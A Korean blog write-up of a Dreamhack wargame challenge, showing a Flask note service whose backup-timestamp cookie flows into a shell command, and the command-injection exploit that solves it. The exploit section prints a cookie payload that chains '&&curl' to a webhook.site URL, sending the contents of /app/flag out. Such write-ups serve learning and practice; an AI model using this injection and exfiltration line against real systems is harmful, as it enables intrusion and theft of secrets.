반응형
문제설명
노트를 관리하는 간단한 웹 서비스입니다.
취약점을 찾고 익스플로잇 하여 플래그를 획득하세요!
플래그 형식은 DH{...} 입니다.
코드 분석
def backup_notes(timestamp):
with lock:
with open('./tmp/notes.tmp', 'w') as f:
f.write(repr(notes))
subprocess.Popen(f'cp ./tmp/notes.tmp /tmp/{timestamp}', shell=True)
- backup_notes를 정의하는 함수
- ./tmp/notes.tmp 파일을 쓰기 모드로 열음
- /tmp/{timestamp}로 복사 / shell 명령어 True
@app.route('/backup_notes', methods=['POST'])
def post_backup_notes():
if len(notes) == 0:
abort(404)
backup_timestamp = request.cookies.get('backup-timestamp', f'{time.time()}')
if not isinstance(backup_timestamp, str):
abort(400)
backup_notes(backup_timestamp)
return redirect(url_for('get_index'))
- 노트 길이가 0이면 404 에러
- backup_timestamp를 쿠키에서 가져옴. 없으면 현재시간을 가져옴
- 그 timestamp로 backup_notes 함수 실행
취약점 분석
- {timestamp} 를 사용자가 입력할 시 위험
- 셸 명령어를 허용해서 파일 유출 가능성 있음
익스플로잇
먼저 Cookie를 확인하기 위해 Backup_notes 요청을 가로채보자.


POST 요청에서 Cookie에 backup_timestamp가 찍힌 것을 확인할 수 있다.
&&curl https://webhook.site/73c800f7-6708-4a3f-a4eb-3282892f9cc4/ -d "$(cat /app/flag)"
- timestamp에 && 해서 curl 명령어와 같이 작성해주면
subprocess.Popen(f'cp ./tmp/notes.tmp /tmp/1771147219.8024352&&curl https://webhook.site/73c800f7-6708-4a3f-a4eb-3282892f9cc4/ -d "$(cat /app/flag)"', shell=True)
- backup_notes 함수에 작성되었던 코드가 다음과 같이 실행되면서 flag 파일을 읽을 수 있게 된다.
웹훅 사이트에서 POST 요청을 온 것을 확인해주면?

반응형
'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글
| Ctrl-C (0) | 2026.02.19 |
|---|---|
| Pearfect Markdown (0) | 2026.02.15 |
| Logical (0) | 2026.02.14 |
| baby-ai (0) | 2026.02.14 |
| what-is-my-ip (0) | 2026.02.14 |